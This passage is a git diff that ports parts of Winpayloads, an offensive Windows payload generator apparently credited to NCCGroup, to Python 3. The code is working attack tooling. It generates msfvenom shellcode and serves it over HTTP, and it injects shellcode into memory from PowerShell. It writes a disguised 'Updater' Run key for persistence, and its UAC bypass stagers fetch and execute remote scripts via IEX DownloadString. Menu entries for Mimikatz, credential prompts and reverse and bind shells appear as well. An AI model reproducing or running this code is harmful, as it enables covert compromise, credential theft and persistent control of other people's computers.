paramRegex.format(newParam).replace('\\', '') + regSearch = re.findall(paramSearchRegex, ps1Content) + if regSearch: + for originalParam in regSearch: + ps1Content = ps1Content.replace(originalParam, changeParam, len(regSearch)) + ps1Content = ps1Content.replace(filename, newFileName) + ps1Content = removeComments(ps1Content) + ps1Content = removeAVStrings(ps1Content) + + with open('externalmodules/staged/{}.ps1'.format(newFileName), 'w') as newPS1: + newPS1.write(ps1Content) + newFileChanges['filename'] = newFileName + return newFileChanges + +def sandboxChoose(choice): + from .menu import sandboxMenuOptions, getAndRunSandboxMenu + if sandboxMenuOptions[choice]['availablemodules']: + sandboxMenuOptions[choice]['availablemodules'] = None + else: + sandboxMenuOptions[choice]['availablemodules'] = {str('ON'): ''} + return "clear" + +def payloaddir(): + return os.path.expanduser('~') + '/winpayloads' + +def msfvenomGeneration(payload, ip, port): + p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + LOADING = Spinner('Generating Shellcode') + while p.poll() == None: + LOADING.Update() + time.sleep(0.2) + print('\r', end=' ') + sys.stdout.flush() + + payload = p.stdout.read().decode() + compPayload = re.findall(r'"(.*?)"', payload) + + return ''.join(map(str, compPayload)) + + +def getHelp(*helpItem): + helpItem = ''.join(helpItem) + if helpItem in helpDict: + return helpDict[helpItem] + else: + return t.bold_red + '[!] Enter a valid menu option to recieve help' + +def powershellShellcodeLayout(powershellExec): + powershellShellcode = re.sub(r'\\x', '0x', powershellExec) + count = 0 + newpayloadlayout = '' + for char in powershellShellcode: + count += 1 + newpayloadlayout += char + if count == 4: + newpayloadlayout += ',' + count = 0 + return newpayloadlayout + +def ServePayload(payloaddirectory, IP, port): + try: + os.chdir(payloaddirectory) + httpd = socketserver.TCPServer((IP, port), HANDLER) + httpd.serve_forever() + except KeyboardInterrupt: + pass + except: + print(t.bold_red + '\n[*] Port in use' + t.normal) + +def DoServe(IP, payloadname, payloaddir, port, printIt): + if printIt: + print(t.bold_green + "\n[*] Serving Payload On http://%s:%s/%s.exe" % (IP, port, payloadname) + t.normal) + a = multiprocessing.Process( + target=ServePayload, args=(payloaddir, IP, port)) + a.daemon = True + a.start() + +def randomUnusedPort(): + from .menu import returnIP + s = socket.socket() + s.bind((returnIP(), 0)) + port = s.getsockname()[1] + s.close() + return port + +def stagePowershellCode(powershellFileContents, port, dir='stager'): + from .menu import returnIP + if not os.path.isdir(dir): + os.mkdir(dir) + os.chdir(dir) + with open('stage.ps1', 'w') as psFile: + psFile.write(powershellFileContents) + httpd = socketserver.TCPServer((returnIP(), port), HANDLER) + httpd.handle_request() + os.chdir('..') + import shutil + shutil.rmtree(dir) diff --git a/lib/menu.py b/lib/menu.py index 512fd1a..5b4a197 100755 --- a/lib/menu.py +++ b/lib/menu.py @@ -1,11 +1,25 @@ -from __future__ import unicode_literals -from main import * -from payloadextras import * -from startmetasploit import * -from generatepayload import * -from preparepayload import * -from stager import * +from .main import InterfaceSelecta, payloaddir, windows_rev_shell, \ + windows_met_rev_shell, windows_met_rev_https_shell, \ + windows_met_rev_shell_dns, windows_custom_shellcode, \ + sandboxChoose, helpDict, windows_uac_bypass, getHelp, \ + windows_invoke_mimikatz, windows_ps_ask_creds_tcp, \ + windows_met_bind_shell +from .preparepayload import reversePayloadGeneration, bindPayloadGeneration, \ + UACBypassGeneration, httpsPayloadGeneration, \ + dnsPayloadGeneration, customShellcodeGeneration, \ + reversePowerShellAskCredsGeneration, \ + reversePowerShellInvokeMimikatzGeneration +from .generatepayload import METASPLOIT_Functions +from .stager import killAllClients, printListener +from collections import OrderedDict +from prompt_toolkit.patch_stdout import patch_stdout +import re import glob +import blessed +import os +import prompt_toolkit + +t = blessed.Terminal() GetIP = InterfaceSelecta() @@ -13,71 +27,83 @@ def returnIP(): return GetIP.ChooseInterface()['addr'] + def returnINTER(): return str(GetIP.ChooseInterface()['interface']) + def doInterfaceSelect(): GetIP.ChooseInterface(set=True) return "clear" + def menuRaise(): if killAllClients(): raise KeyboardInterrupt + def noColourLen(colourString): return len(re.compile(r'(\x9B|\x1B\[)[0-?]*[ -\/]*[@-~]').sub('', colourString)) + def noColourCenter(colourString): - len = (t.width / 2) - (noColourLen(colourString) /2 ) + len = int((t.width / 2) - (noColourLen(colourString) /2 )) if len % 2 > 0: len -= 1 return (' ' * len) + colourString + def cleanUpPayloads(): payloadsRemoved = 0 for i in glob.glob(payloaddir() + "/*.exe"): os.remove(i) payloadsRemoved += 1 - print t.bold_green + "[*] %s Payloads removed...."% payloadsRemoved + t.normal + print(t.bold_green + "[*] %s Payloads removed...."% payloadsRemoved + t.normal) return "clear" + def getAndRunSandboxMenu(): sandboxMenu = MenuOptions(sandboxMenuOptions, menuName="Sandbox Menu") sandboxMenu.runmenu() return "pass" + def getAndRunPSMenu(): if len(clientMenuOptions) > 2: psMenu = MenuOptions(psMenuOptions(), menuName="PS Menu") psMenu.runmenu() else: - print t.bold_red + "[!] Clients are needed to access this menu" + t.normal + print(t.bold_red + "[!] Clients are needed to access this menu" + t.normal) return "pass" + def getAndRunClientMenu(): if len(clientMenuOptions) > 2: clientMenu = MenuOptions(clientMenuOptions, menuName="Client Menu") clientMenu.runmenu() else: - print t.bold_red + "[!] Clients are needed to access this menu" + t.normal + print(t.bold_red + "[!] Clients are needed to access this menu" + t.normal) return "pass" + def getAndRunMainMenu(): mainMenu = MenuOptions(mainMenuOptions(), menuName="Main Menu") mainMenu.runmenu() return "pass" + def returnText(colour, text): - print colour + text + t.normal + print(colour + text + t.normal) + def mainMenuOptions(): return OrderedDict([ - ('1', {'payloadchoice': SHELLCODE.windows_rev_shell, 'payload': 'Windows_Reverse_Shell', 'extrawork': reversePayloadGeneration, 'availablemodules': None, 'params': None}), - ('2', {'payloadchoice': SHELLCODE.windows_met_rev_shell, 'payload': 'Windows_Meterpreter_Reverse_Shell', 'extrawork': reversePayloadGeneration, 'availablemodules': METASPLOIT_Functions['reverse'], 'params': None}), - ('3', {'payloadchoice': SHELLCODE.windows_met_bind_shell, 'payload': 'Windows_Meterpreter_Bind_Shell', 'extrawork': bindPayloadGeneration, 'availablemodules': METASPLOIT_Functions['bind'], 'params': None}), - ('4', {'payloadchoice': SHELLCODE.windows_met_rev_https_shell, 'payload': 'Windows_Meterpreter_Reverse_HTTPS', 'extrawork': httpsPayloadGeneration, 'availablemodules': METASPLOIT_Functions['https'], 'params': None}), - ('5', {'payloadchoice': SHELLCODE.windows_met_rev_shell_dns, 'payload': 'Windows_Meterpreter_Reverse_Dns', 'extrawork': dnsPayloadGeneration, 'availablemodules': METASPLOIT_Functions['dns'], 'params': None}), - ('6', {'payloadchoice': SHELLCODE.windows_custom_shellcode, 'payload': 'Windows_Custom_Shellcode', 'extrawork': customShellcodeGeneration, 'availablemodules': None, 'params': None, 'spacer': True}), + ('1', {'payloadchoice': windows_rev_shell, 'payload': 'Windows_Reverse_Shell', 'extrawork': reversePayloadGeneration, 'availablemodules': None, 'params': None}), + ('2', {'payloadchoice': windows_met_rev_shell, 'payload': 'Windows_Meterpreter_Reverse_Shell', 'extrawork': reversePayloadGeneration, 'availablemodules': METASPLOIT_Functions['reverse'], 'params': None}), + ('3', {'payloadchoice': windows_met_bind_shell, 'payload': 'Windows_Meterpreter_Bind_Shell', 'extrawork': bindPayloadGeneration, 'availablemodules': METASPLOIT_Functions['bind'], 'params': None}), + ('4', {'payloadchoice': windows_met_rev_https_shell, 'payload': 'Windows_Meterpreter_Reverse_HTTPS', 'extrawork': httpsPayloadGeneration, 'availablemodules': METASPLOIT_Functions['https'], 'params': None}), + ('5', {'payloadchoice': windows_met_rev_shell_dns, 'payload': 'Windows_Meterpreter_Reverse_Dns', 'extrawork': dnsPayloadGeneration, 'availablemodules': METASPLOIT_Functions['dns'], 'params': None}), + ('6', {'payloadchoice': windows_custom_shellcode, 'payload': 'Windows_Custom_Shellcode', 'extrawork': customShellcodeGeneration, 'availablemodules': None, 'params': None, 'spacer': True}), ('sandbox', {'payloadchoice': None, 'payload': 'Sandbox Evasion Menu', 'extrawork': getAndRunSandboxMenu, 'params': None}), ('ps', {'payloadchoice': None, 'payload': 'PowerShell Menu', 'extrawork': getAndRunPSMenu, 'params': None}), ('clients', {'payloadchoice': None, 'payload': 'Client Menu', 'extrawork': getAndRunClientMenu, 'params': None, 'spacer': True}), @@ -91,9 +117,9 @@ def mainMenuOptions(): def psMenuOptions(): return OrderedDict([ ('1', {'payloadchoice': None, 'payload': 'Screen_Watch', 'extrawork': returnText , 'params': (t.bold_red, 'Module is borked...')}), - ('2', {'payloadchoice': SHELLCODE.windows_ps_ask_creds_tcp, 'payload': 'Asks_Creds', 'extrawork': reversePowerShellAskCredsGeneration, 'params': None}), - ('3', {'payloadchoice': SHELLCODE.windows_invoke_mimikatz, 'payload': 'Invoke_Mimikatz', 'extrawork': reversePowerShellInvokeMimikatzGeneration, 'params': None}), - ('4', {'payloadchoice': SHELLCODE.windows_uac_bypass, 'payload': 'UAC_Bypass', 'extrawork': UACBypassGeneration, 'params': None}), + ('2', {'payloadchoice': windows_ps_ask_creds_tcp, 'payload': 'Asks_Creds', 'extrawork': reversePowerShellAskCredsGeneration, 'params': None}), + ('3', {'payloadchoice': windows_invoke_mimikatz, 'payload': 'Invoke_Mimikatz', 'extrawork': reversePowerShellInvokeMimikatzGeneration, 'params': None}), + ('4', {'payloadchoice': windows_uac_bypass, 'payload': 'UAC_Bypass', 'extrawork': UACBypassGeneration, 'params': None}), ('clients', {'payloadchoice': None, 'payload': 'Connected Interpreter Clients', 'extrawork': getAndRunClientMenu, 'params': None}), ('back', {'payloadchoice': None, 'payload': 'Main Menu', 'extrawork': getAndRunMainMenu, 'params': None}), ]) @@ -138,8 +164,8 @@ class MenuOptions(object): def __init__(self, choices, menuName): self.choices = choices self.menuName = menuName - self.style = prompt_toolkit.styles.style_from_dict({ - prompt_toolkit.token.Token: '#FFCC66' + self.style = prompt_toolkit.styles.Style.from_dict({ + '': '#FFCC66' }) def _choose(self, n): @@ -148,20 +174,21 @@ def _choose(self, n): n, option = n.split() except: pass - if self.choices.has_key(n): + if n in self.choices: if n == '?': return (True, self.choices[n]['payloadchoice'], self.choices[n]['payload'], self.choices[n]['extrawork'], option) else: return (True, self.choices[n]['payloadchoice'], self.choices[n]['payload'], self.choices[n]['extrawork'], self.choices[n]['params']) else: if not n == "": - print t.bold_red + '[*] Wrong Selection' + t.normal + print(t.bold_red + '[*] Wrong Selection' + t.normal) return (False, None, None, None, None) def runmenu(self): self.printMenues(True) while True: - user_choice = prompt_toolkit.prompt('%s > '%(self.menuName),style=self.style, patch_stdout=True, completer=promptComplete(self.choices)).rstrip(' ') + with patch_stdout(): + user_choice = prompt_toolkit.prompt('%s > '%(self.menuName),style=self.style, completer=promptComplete(self.choices)).rstrip(' ') success, payloadchoice, payload, extrawork, params = self._choose(user_choice) if not success: @@ -188,7 +215,7 @@ def runmenu(self): pass else: if result: - print result + print(result) def printMenues(self,toClear): Splash(toClear) @@ -196,13 +223,13 @@ def printMenues(self,toClear): adjust = 0 else: adjust = -1 - print t.bold_black + '=' * (t.width / 2 - (len(self.menuName) / 2)) + t.yellow + self.menuName + t.bold_black + '=' * (t.width / 2 - ((len(self.menuName) / 2)- adjust)) + t.normal + print(t.bold_black + '=' * int(t.width / 2 - (len(self.menuName) / 2)) + t.yellow + self.menuName + t.bold_black + '=' * int(t.width / 2 - ((len(self.menuName) / 2)- adjust)) + t.normal) maxlen = 0 arr = [] - for i in self.choices.iterkeys(): + for i in self.choices.keys(): menuPrintString = t.bold_yellow + str(i) + ': ' + t.normal + str(self.choices[i]['payload']).replace('_',' ') - if 'availablemodules' in self.choices[i].keys() and self.choices[i]['availablemodules']: - menuPrintString += t.bold_green + ' ' + str(self.choices[i]['availablemodules'].keys()).replace('\'','').replace('normal, ','') + t.normal + if 'availablemodules' in list(self.choices[i].keys()) and self.choices[i]['availablemodules']: + menuPrintString += t.bold_green + ' ' + str(list(self.choices[i]['availablemodules'].keys())).replace('\'','').replace('normal, ','') + t.normal if 'spacer' in self.choices[i]: menuPrintString += '\n' @@ -219,16 +246,16 @@ def printMenues(self,toClear): adjust = 0 else: adjust = 1 - print (' '* spacing) + i + (' ' * (spacing - adjust)) - print t.bold_black + '='*t.width + t.normal + print(' ' * int(spacing) + i + ' ' * int(spacing - adjust)) + print(t.bold_black + '=' * t.width + t.normal) def Splash(toClear): if toClear: - print t.clear - print t.bold_red - print noColourCenter("_ ___ ____ __ __") - print noColourCenter(" | | / (_)___ / __ \____ ___ __/ /___ ____ _____/ /____") - print noColourCenter(" | | /| / / / __ \/ /_/ / __ `/ / / / / __ \/ __ `/ __ / ___/") - print noColourCenter(" | |/ |/ / / / / / ____/ /_/ / /_/ / / /_/ / /_/ / /_/ (__ )") - print noColourCenter(" |__/|__/_/_/ /_/_/ \__,_/\__, /_/\____/\__,_/\__,_/____/") - print noColourCenter(" /____/NCCGroup - CharlieDean" + t.normal) + print(t.clear) + print(t.bold_red) + print(noColourCenter("_ ___ ____ __ __")) + print(noColourCenter(" | | / (_)___ / __ \____ ___ __/ /___ ____ _____/ /____")) + print(noColourCenter(" | | /| / / / __ \/ /_/ / __ `/ / / / / __ \/ __ `/ __ / ___/")) + print(noColourCenter(" | |/ |/ / / / / / ____/ /_/ / /_/ / / /_/ / /_/ / /_/ (__ )")) + print(noColourCenter(" |__/|__/_/_/ /_/_/ \__,_/\__, /_/\____/\__,_/\__,_/____/")) + print(noColourCenter(" /____/NCCGroup - CharlieDean" + t.normal)) diff --git a/lib/payloadextras.py b/lib/payloadextras.py index c86bbc8..989cda8 100755 --- a/lib/payloadextras.py +++ b/lib/payloadextras.py @@ -1,20 +1,21 @@ -import base64 -import re -from main import * +from base64 import b64encode +from .main import powershellShellcodeLayout, randomUnusedPort, DoServe, \ + stagePowershellCode +import multiprocessing + class EXTRAS(object): - def __init__(self,shellcode): + def __init__(self, shellcode): self.shellcode = shellcode - - self.injectshellcode_layout = FUNCTIONS().powershellShellcodeLayout(self.shellcode).rstrip(',') - self.injectshellcode_sleep = """Start-Sleep -s 60;$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( + self.injectshellcode_layout = powershellShellcodeLayout(self.shellcode).rstrip(',') + self.injectshellcode_sleep = """Start-Sleep -s 60;$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\\WindowsPowerShell\\v1.0\\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( self.injectshellcode_layout) - self.injectshellcode_nosleep = """$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( + self.injectshellcode_nosleep = """$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\\syswow64\\WindowsPowerShell\\v1.0\\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( self.injectshellcode_layout) def PERSISTENCE(self): with open('persist.ps1', 'w') as persistfile: - persistfile.write("echo \"%s\" | out-file $env:USERPROFILE/update.txt;New-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name Updater -PropertyType String -Value 'C:\\Windows\\System32\WindowsPowerShell\\v1.0\\powershell.exe -c \"powershell -exec bypass -NonInteractive -WindowStyle Hidden -enc (Get-Content $env:USERPROFILE\update.txt)\"'" % base64.b64encode(self.injectshellcode_sleep.encode('utf_16_le'))) + persistfile.write("echo \"%s\" | out-file $env:USERPROFILE/update.txt;New-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name Updater -PropertyType String -Value 'C:\\Windows\\System32\WindowsPowerShell\\v1.0\\powershell.exe -c \"powershell -exec bypass -NonInteractive -WindowStyle Hidden -enc (Get-Content $env:USERPROFILE\\update.txt)\"'" % b64encode(self.injectshellcode_sleep.encode('utf_16_le'))) persistfile.close() with open('persist.rc', 'w') as persistfilerc: persistfilerc.write("""run post/windows/manage/exec_powershell SCRIPT=persist.ps1 SESSION=1""") @@ -22,21 +23,19 @@ def PERSISTENCE(self): return self.shellcode def UACBYPASS(self, version): - from menu import returnIP - randomPort = FUNCTIONS().randomUnusedPort() - uacbypassrcfilecontents = """run post/windows/manage/exec_powershell SCRIPT="IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/stage.ps1')" SESSION=1"""% (returnIP(), randomPort) - moduleport = FUNCTIONS().randomUnusedPort() - FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) + from .menu import returnIP + randomPort = randomUnusedPort() + uacbypassrcfilecontents = """run post/windows/manage/exec_powershell SCRIPT="IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/stage.ps1')" SESSION=1""" % (returnIP(), randomPort) + moduleport = randomUnusedPort() + DoServe(returnIP(), "", "./externalmodules", port=moduleport, printIt=False) if version == "7": - uacbypassfilecontent = """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/Invoke-BypassUAC.ps1");\nInvoke-BypassUAC -Command \"powershell -enc %s\" """ % ( - returnIP(), moduleport, base64.b64encode(self.injectshellcode_nosleep.encode('utf_16_le'))) - a = multiprocessing.Process(target=FUNCTIONS().stagePowershellCode, args=(uacbypassfilecontent, randomPort)) + uacbypassfilecontent = """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/Invoke-BypassUAC.ps1");\nInvoke-BypassUAC -Command \"powershell -enc %s\" """ % (returnIP(), moduleport, b64encode(self.injectshellcode_nosleep.encode('utf_16_le'))) + a = multiprocessing.Process(target=stagePowershellCode, args=(uacbypassfilecontent, randomPort)) a.daemon = True a.start() elif version == "10": - uacbypassfilecontent = """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/Invoke-SilentCleanUpBypass.ps1");\nInvoke-SilentCleanUpBypass -Command \"cmd /c powershell -WindowStyle Hidden -enc %s && REM\" """ % ( - returnIP(), moduleport, base64.b64encode(self.injectshellcode_nosleep.encode('utf_16_le'))) - a = multiprocessing.Process(target=FUNCTIONS().stagePowershellCode, args=(uacbypassfilecontent, randomPort)) + uacbypassfilecontent = """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/Invoke-SilentCleanUpBypass.ps1");\nInvoke-SilentCleanUpBypass -Command \"cmd /c powershell -WindowStyle Hidden -enc %s && REM\" """ % (returnIP(), moduleport, b64encode(self.injectshellcode_nosleep.encode('utf_16_le'))) + a = multiprocessing.Process(target=stagePowershellCode, args=(uacbypassfilecontent, randomPort)) a.daemon = True a.start() with open('uacbypass.rc', 'w') as uacbypassfilerc: @@ -45,12 +44,11 @@ def UACBYPASS(self, version): return self.shellcode def ALLCHECKS(self): - from menu import returnIP - moduleport = FUNCTIONS().randomUnusedPort() - FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) + from .menu import returnIP + moduleport = randomUnusedPort() + DoServe(returnIP(), "", "./externalmodules", port=moduleport, printIt=False) with open('allchecks.ps1', 'w') as allchecksfile: - allchecksfile.write( - """IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/PowerUp.ps1");invoke-allchecks"""%(returnIP(), moduleport)) + allchecksfile.write("""IEX (New-Object Net.WebClient).DownloadString("http://%s:%s/PowerUp.ps1");invoke-allchecks""" % (returnIP(), moduleport)) allchecksfile.close() return self.shellcode diff --git a/lib/powershell/stager.ps1 b/lib/powershell/stager.ps1 index 86a8fdf..2f04dae 100755 --- a/lib/powershell/stager.ps1 +++ b/lib/powershell/stager.ps1 @@ -86,6 +86,7 @@ if ($Client.Connected) { $error.clear() $serverData = $Client.Client.Read($byteAmount, 0, $byteAmount.Length) $asciiData = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($byteAmount, 0, $serverData) + echo $asciiData try { $type = ($asciiData | ConvertFrom-Json).type $b64Data = ($asciiData | ConvertFrom-Json).data diff --git a/lib/preparepayload.py b/lib/preparepayload.py index 40d40af..555f297 100755 --- a/lib/preparepayload.py +++ b/lib/preparepayload.py @@ -1,107 +1,113 @@ -from main import * -from payloadextras import * -from startmetasploit import * -from generatepayload import * +from .main import randomUnusedPort, DoServe, randomisePS1 +from .generatepayload import askAndReturnModules, GeneratePayload +from .stager import clientUpload, printListener, returnServerList +import blessed +import time + +t = blessed.Terminal() + def reverseIpAndPort(port): - from menu import returnIP - portnum = raw_input( - '\n[*] Press Enter For Default Port(%s)\n[*] Port> '%(t.bold_green + port + t.normal)) - if len(portnum) is 0: + from .menu import returnIP + portnum = input( + '\n[*] Press Enter For Default Port(%s)\n[*] Port> ' % (t.bold_green + port + t.normal)) + if not portnum: portnum = port IP = returnIP() - ipaddr = raw_input( - '\n[*] Press Enter To Get Local Ip Automatically(%s)\n[*] IP> '%(t.bold_green + IP + t.normal)) + ipaddr = input( + '\n[*] Press Enter To Get Local Ip Automatically(%s)\n[*] IP> ' % (t.bold_green + IP + t.normal)) if len(ipaddr) == 0: ipaddr = IP if not IP: - print t.bold_red + 'Error Getting Ip Automatically' + t.normal - ipaddr = raw_input( + print(t.bold_red + 'Error Getting Ip Automatically' + t.normal) + ipaddr = input( '\n[*] Please Enter Your IP Manually(Automatic Disabled)\n[*] IP> ') - return (portnum,ipaddr) + return (portnum, ipaddr) -def reversePayloadGeneration(payloadchoice,payloadname): - portnum,ipaddr = reverseIpAndPort('4444') +def reversePayloadGeneration(payloadchoice, payloadname): + portnum, ipaddr = reverseIpAndPort('4444') shellcode = payloadchoice(ipaddr, portnum) - print t.bold_green + '[*] IP SET AS %s\n[*] PORT SET AS %s\n' % (ipaddr, portnum) + t.normal + print(t.bold_green + '[*] IP SET AS %s\n[*] PORT SET AS %s\n' % (ipaddr, portnum) + t.normal) if payloadname == "Windows_Reverse_Shell": - ez2read_shellcode, startRevMetasploit = askAndReturnModules(shellcode,'nclistener') + ez2read_shellcode, startRevMetasploit = askAndReturnModules(shellcode, 'nclistener') else: - ez2read_shellcode, startRevMetasploit = askAndReturnModules(shellcode,'reverse') - if GeneratePayload(ez2read_shellcode,payloadname,shellcode): + ez2read_shellcode, startRevMetasploit = askAndReturnModules(shellcode, 'reverse') + if GeneratePayload(ez2read_shellcode, payloadname, shellcode): startRevMetasploit(portnum) return "clear" else: return "pass" -def bindPayloadGeneration(payloadchoice,payloadname): - bindport = raw_input( - '\n[*] Press Enter For Default Bind Port(%s)\n[*] Port> '%(t.bold_green + '4444' + t.normal)) - if len(bindport) is 0: - bindport = 4444 - shellcode = payloadchoice('' ,bindport) - bindip = raw_input( - '\n[*] Target Bind IP Address ' + t.bold_red + '(REQUIRED FOR BIND PAYLOADS)' + t.normal +' \n[*] IP> ') - print t.bold_green + '[*] BIND IP SET AS %s\n[*] PORT SET AS %s\n' % (bindip,bindport) + t.normal - ez2read_shellcode, startBindMetasploit = askAndReturnModules(shellcode,'bind') - if GeneratePayload(ez2read_shellcode,payloadname,shellcode): - startBindMetasploit(bindport,bindip) +def bindPayloadGeneration(payloadchoice, payloadname): + bindport = input( + '\n[*] Press Enter For Default Bind Port(%s)\n[*] Port> ' % (t.bold_green + '4444' + t.normal)) + if not bindport: + bindport = 4444 + shellcode = payloadchoice('', bindport) + bindip = input( + '\n[*] Target Bind IP Address ' + t.bold_red + '(REQUIRED FOR BIND PAYLOADS)' + t.normal + ' \n[*] IP> ') + print(t.bold_green + '[*] BIND IP SET AS %s\n[*] PORT SET AS %s\n' % (bindip, bindport) + t.normal) + ez2read_shellcode, startBindMetasploit = askAndReturnModules(shellcode, 'bind') + if GeneratePayload(ez2read_shellcode, payloadname, shellcode): + startBindMetasploit(bindport, bindip) return "clear" else: return "pass" -def httpsPayloadGeneration(payloadchoice,payloadname): - portnum,ipaddr = reverseIpAndPort('443') + +def httpsPayloadGeneration(payloadchoice, payloadname): + portnum, ipaddr = reverseIpAndPort('443') shellcode = payloadchoice(ipaddr, portnum) - print t.bold_green + '[*] IP SET AS %s\n[*] PORT SET AS %s\n' % (ipaddr, portnum) + t.normal - ez2read_shellcode, startHttpsMetasploit = askAndReturnModules(shellcode,'https') - if GeneratePayload(ez2read_shellcode,payloadname,shellcode): + print(t.bold_green + '[*] IP SET AS %s\n[*] PORT SET AS %s\n' % (ipaddr, portnum) + t.normal) + ez2read_shellcode, startHttpsMetasploit = askAndReturnModules(shellcode, 'https') + if GeneratePayload(ez2read_shellcode, payloadname, shellcode): startHttpsMetasploit(portnum) return "clear" else: return "pass" -def dnsPayloadGeneration(payloadchoice,payloadname): - portnum = raw_input( - '\n[*] Press Enter For Default Port(%s)\n[*] Port> '%(t.bold_green + '4444' + t.normal)) - if len(portnum) is 0: - portnum = 4444 +def dnsPayloadGeneration(payloadchoice, payloadname): + portnum = input( + '\n[*] Press Enter For Default Port(%s)\n[*] Port> ' % (t.bold_green + '4444' + t.normal)) + if not portnum: + portnum = 4444 while True: - DNSaddr = raw_input( + DNSaddr = input( '\n[*] Please Enter DNS Hostname\n[*] DNS> ') if DNSaddr: break shellcode = payloadchoice(DNSaddr, portnum) - print t.bold_green + '[*] DNS HOSTNAME SET AS %s\n[*] PORT SET AS %s\n' % (DNSaddr, portnum) + t.normal - ez2read_shellcode, startDnsMetasploit = askAndReturnModules(shellcode,'dns') - if GeneratePayload(ez2read_shellcode,payloadname,shellcode): - startDnsMetasploit(portnum,DNSaddr) + print(t.bold_green + '[*] DNS HOSTNAME SET AS %s\n[*] PORT SET AS %s\n' % (DNSaddr, portnum) + t.normal) + ez2read_shellcode, startDnsMetasploit = askAndReturnModules(shellcode, 'dns') + if 